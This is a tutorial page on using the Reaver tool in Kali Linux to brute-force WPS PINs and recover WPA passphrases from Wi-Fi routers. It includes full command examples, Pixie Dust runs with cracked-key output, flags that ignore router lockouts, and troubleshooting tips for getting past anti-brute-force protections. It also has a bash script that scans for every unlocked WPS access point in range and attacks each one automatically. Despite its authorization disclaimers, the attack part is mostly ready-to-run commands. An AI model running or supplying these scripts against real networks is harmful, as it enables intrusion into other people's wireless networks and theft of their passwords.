Reaver WiFi Tool in Kali Linux: WPS Security Guide
Reaver is a tool that performs a brute-force attack against the WPS (Wi-Fi Protected Setup) PIN authentication mechanism found on many consumer and small-business wireless routers. WPS was designed to make it easy for non-technical users to connect devices to a Wi-Fi network using an 8-digit PIN instead of typing the full WPA/WPA2 passphrase.
Some WPS implementations validate PIN components separately, reducing the practical search space compared with checking all eight digits at once. This design can make repeated PIN guessing feasible on vulnerable devices. The real-world risk depends on the router’s implementation, firmware, rate limiting, and lockout protections. The Pixie Dust technique targets certain implementations with weak randomness; it does not work against every router, and results or timing are never guaranteed.
Reaver was originally developed by Tactical Network Solutions and released as open-source software. The reaver-wps-fork-t6x project is a commonly used fork. Available versions and default installation status can vary by Kali Linux release, so check the version installed on your system.
How to Install Reaver on Kali Linux
Reaver may already be available on your Kali Linux installation. Check whether the command is installed with:
reaver --help | head -5
Example output (the version and available options may differ):
$ reaver -h
Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
Required Arguments:
-i, --interface=<wlan> Name of the monitor-mode interface to use
-b, --bssid=<mac> BSSID of the target AP
If Reaver is not installed, use Kali’s APT package manager:
sudo apt update
sudo apt install reaver -y
To build the Reaver fork from source, first review the repository’s documentation and dependencies:
sudo apt install build-essential libpcap-dev sqlite3 libsqlite3-dev -y
git clone https://github.com/t6x/reaver-wps-fork-t6x.git
cd reaver-wps-fork-t6x/src
./configure
make
sudo make install
Reaver Command Syntax
reaver -i <monitor interface> -b <BSSID> [options]
The companion utility wash can help identify access points that advertise WPS support. Detection alone does not prove that a router is vulnerable:
wash -i <monitor interface> [options]
Reaver and Wash Command-Line Options
reaver
| Option | Description |
|---|---|
-i, --interface=<wlan> |
Monitor-mode interface name |
-b, --bssid=<mac> |
Target access point’s BSSID |
-c, --channel=<ch> |
Set the 802.11 channel (auto-detect if omitted) |
-e, --essid=<ssid> |
Target network name (needed for hidden SSIDs) |
-p, --pin=<pin> |
Use a specific WPS PIN instead of brute-forcing |
-d, --delay=<sec> |
Seconds delay between PIN attempts (default 1) |
-l, --lock-delay=<sec> |
Seconds to wait if AP locks WPS (default 60) |
-g, --max-attempts=<num> |
Quit after num PIN attempts |
-x, --fail-wait=<sec> |
Seconds to wait after 10 unexpected failures |
-r, --recurring-delay=x:y |
Sleep y seconds every x PIN attempts |
-t, --timeout=<sec> |
Receive timeout period |
-T, --m57-timeout=<sec> |
M5/M7 timeout period |
-v, --verbose |
Display non-critical warnings (use -vv for more) |
-h, --help |
Show help |
-K, --pixie-dust |
Run the Pixie Dust attack (offline, exploits weak randomness) |
-f, --fixed |
Disable channel hopping |
-5, --5ghz |
Use 5GHz 802.11 channels |
-A, --auto |
Auto-detect the best advanced options for the target AP |
-N, --no-nacks |
Do not send NACK messages when out of sequence |
-S, --dh-small |
Use small DH keys for faster crypto |
-L, --ignore-locks |
Ignore locked state reported by the AP |
-E, --eap-terminate |
Terminate each WPS session with an EAP FAIL packet |
-n, --nack |
Target AP always sends a NACK |
-w, --win7 |
Mimic a Windows 7 registrar |
wash
| Option | Description |
|---|---|
-i, --interface=<wlan> |
Interface to capture on |
-c, --channel=<ch> |
Channel to scan |
-f, --file <cap> |
Scan a pcap file instead of live interface |
-o, --out-file=<file> |
Write output to a file |
-n, --probes=<num> |
Number of probe requests per scan (default 15) |
-D, --daemonize |
Run as daemon |
-a, --all |
Show all APs, even those without WPS |
-5, --5ghz |
Scan 5GHz channels |
-s, --scan |
Use scan-mode (faster) |
Basic Usage and Example Terminal Output
Step 1 — In an authorized lab or on your own equipment, review the wireless interface setup and use Wash to inventory access points advertising WPS:
$ sudo wash -i wlan0mon
Wash v1.6.6 WiFi Protected Setup Scan Tool
BSSID Ch dBm WPS Lck Vendor ESSID
-----------------------------------------------------
AA:BB:CC:DD:EE:01 6 -42 1.0 No Broadcom HomeLab_5G
AA:BB:CC:DD:EE:04 1 -55 2.0 No Ralink OldRouter_24
Step 2 — The following is an illustrative example of Reaver output during an authorized WPS security assessment. It is not a recommendation to test networks without permission:
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -vv
Reaver v1.6.6 WiFi Protected Setup Attack Tool
[+] Waiting for beacon from AA:BB:CC:DD:EE:01
[+] Switching wlan0mon to channel 6
[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Trying pin "12345670"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
Reaver Examples and Illustrative Output
Example 1: Basic brute-force attack with default settings
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01
[+] Waiting for beacon from AA:BB:CC:DD:EE:01
[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Trying pin "12345670"
[+] Trying pin "12345671"
...
[+] 12.50% complete @ 0:04:12 (average)
Example 2: Pixie Dust attack (much faster, exploits weak PRNG)
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -K 1 -vv
[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Pixie-Dust attack in progress...
[P] PKE: 3A2C19...
[P] PKR: 88D0FE...
[P] E-Hash1: 91AB77...
[P] E-Hash2: 22FF10...
[+] WPS pin: 45671230
[+] Running pixiewps with the information...
[+] Pixiewps: WPS pin cracked in 3 seconds!
Example 3: Locking channel to reduce hopping delay
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -c 6 -f -vv
[+] Switching wlan0mon to channel 6 (fixed)
[+] Associated with AA:BB:CC:DD:EE:01 (ESSID: HomeLab_5G)
[+] Trying pin "00005678"
Example 4: Using a custom delay to avoid lockouts
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -d 3 -l 90 -vv
[+] Trying pin "23456780"
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Waiting 90 seconds before continuing (AP locked WPS)
Example 5: Resuming a session after interruption
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01
[+] Restored previous session
[+] Resuming at pin 23450000, 34.2% complete
Example 6: Auto mode for optimized parameters
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -A -vv
[+] Detected AP rate limiting; adjusting delay to 5s
[+] Auto-detected optimal settings for Broadcom vendor
[+] Trying pin "67891230"
Example 7: Successful WPS crack and PSK recovery
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01
[+] Trying pin "63025678"
[+] WPS PIN: '63025678'
[+] WPA PSK: 'mylabpassword123'
[+] AP SSID: 'HomeLab_5G'
[+] Nothing done, nothing to save.
Example 8: Targeting a specific known PIN (verification)
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:01 -p 12345670 -vv
[+] Trying pin "12345670"
[+] WPS PIN: '12345670'
[+] WPA PSK: 'mylabpassword123'
Example 9: Scanning a saved capture file with wash
$ wash -f capture-01.cap
BSSID Ch dBm WPS Lck Vendor ESSID
-----------------------------------------------------
AA:BB:CC:DD:EE:01 6 -42 1.0 No Broadcom HomeLab_5G
Example 10: Handling a locked AP by ignoring lock state
$ sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:04 -L -vv
[!] WPS pin locked, ignoring per -L flag
[+] Trying pin "00010002"
Common Uses of Reaver for Authorized WiFi Security Audits
- Auditing consumer and small-office/home-office routers to identify unnecessary WPS exposure and review security settings.
- Researching Pixie Dust weaknesses in controlled labs to understand how weak random-number generation can affect certain WPS implementations.
- Reviewing lockout policies — checking router documentation and configuration to understand how repeated failed WPS attempts are handled.
- Recovering access to your own equipment through the manufacturer’s approved account, reset, or recovery procedures.
- Authorized wireless inventory with
washto identify access points advertising WPS so administrators can review their configurations.
Bash Automation Example
#!/bin/bash
# reaver_auto.sh - Scan for WPS targets and attack each automatically
# Usage: sudo ./reaver_auto.sh <interface>
IFACE=$1
LOGDIR="./reaver_logs_$(date +%Y%m%d_%H%M%S)"
if [[ -z "$IFACE" ]]; then
echo "Usage: sudo $0 <interface>"
exit 1
fi
mkdir -p "$LOGDIR"
echo "[*] Scanning for WPS-enabled access points (30s)..."
timeout 30 wash -i "$IFACE" -o "$LOGDIR/wash_results.txt"
echo "[*] Discovered targets:"
cat "$LOGDIR/wash_results.txt"
# Extract BSSIDs of unlocked WPS targets
BSSIDS=$(awk '$5=="No" {print $1}' "$LOGDIR/wash_results.txt" | grep -E '([0-9A-F]{2}:){5}[0-9A-F]{2}')
for BSSID in $BSSIDS; do
echo "[*] Attacking $BSSID with Pixie Dust first..."
timeout 60 reaver -i "$IFACE" -b "$BSSID" -K 1 -vv | tee "$LOGDIR/${BSSID//:/-}_pixie.log"
if grep -q "WPA PSK" "$LOGDIR/${BSSID//:/-}_pixie.log"; then
echo "[+] Cracked $BSSID via Pixie Dust!"
continue
fi
echo "[*] Pixie Dust failed, falling back to brute-force for $BSSID..."
timeout 3600 reaver -i "$IFACE" -b "$BSSID" -d 2 -l 60 -vv | tee "$LOGDIR/${BSSID//:/-}_brute.log"
done
echo "[*] All attacks complete. Logs saved in $LOGDIR/"
Reaver Tips and WiFi Security Best Practices
- Use
washas an inventory aid during an authorized assessment; remember that advertised WPS support does not establish exploitability. - Treat Pixie Dust results cautiously: the technique applies only to certain vulnerable implementations, and its impact and timing vary by device.
- Understand the router’s rate-limiting and lockout controls before conducting any approved test, and avoid actions that could disrupt service.
- Confirm interface and channel details using the adapter and router documentation when diagnosing wireless connectivity.
- Check the installed version’s documentation for session-storage behavior; paths and persistence can vary between packages and installations.
- Use official documentation and controlled lab environments when comparing wireless security assessment tools.
- Do not assume router age alone determines risk. Review the exact model, firmware release, WPS settings, and documented security protections.
Reaver Troubleshooting Guide
| Problem | Cause | Solution |
|---|---|---|
| “WARNING: Failed to associate” | AP out of range or filtering | Move closer, verify BSSID/channel |
| Stuck at 0% for a long time | AP rate-limiting responses | Increase -d delay, try -A auto mode |
| “WPS transaction failed (code: 0x02/0x03)” | AP timing out mid-exchange | Add -t timeout adjustment, try --dh-small |
| Repeated lockouts | AP has anti-brute-force lockout enabled | Increase -l, be patient, or switch to Pixie Dust/Bully |
| Pixie Dust attack fails | AP uses a strong PRNG (not vulnerable) | Fall back to standard brute-force with -d/-l tuning |
| Session doesn’t resume | Session file corrupted or removed | Delete stale session files in /var/lib/reaver/, start fresh |
Reaver Documentation and References
- Reaver-WPS-Fork-T6x GitHub repository: https://github.com/t6x/reaver-wps-fork-t6x
- Kali Linux Tools listing: https://www.kali.org/tools/reaver/
- Pixiewps project (companion to Pixie Dust attack): https://github.com/wiire-a/pixiewps
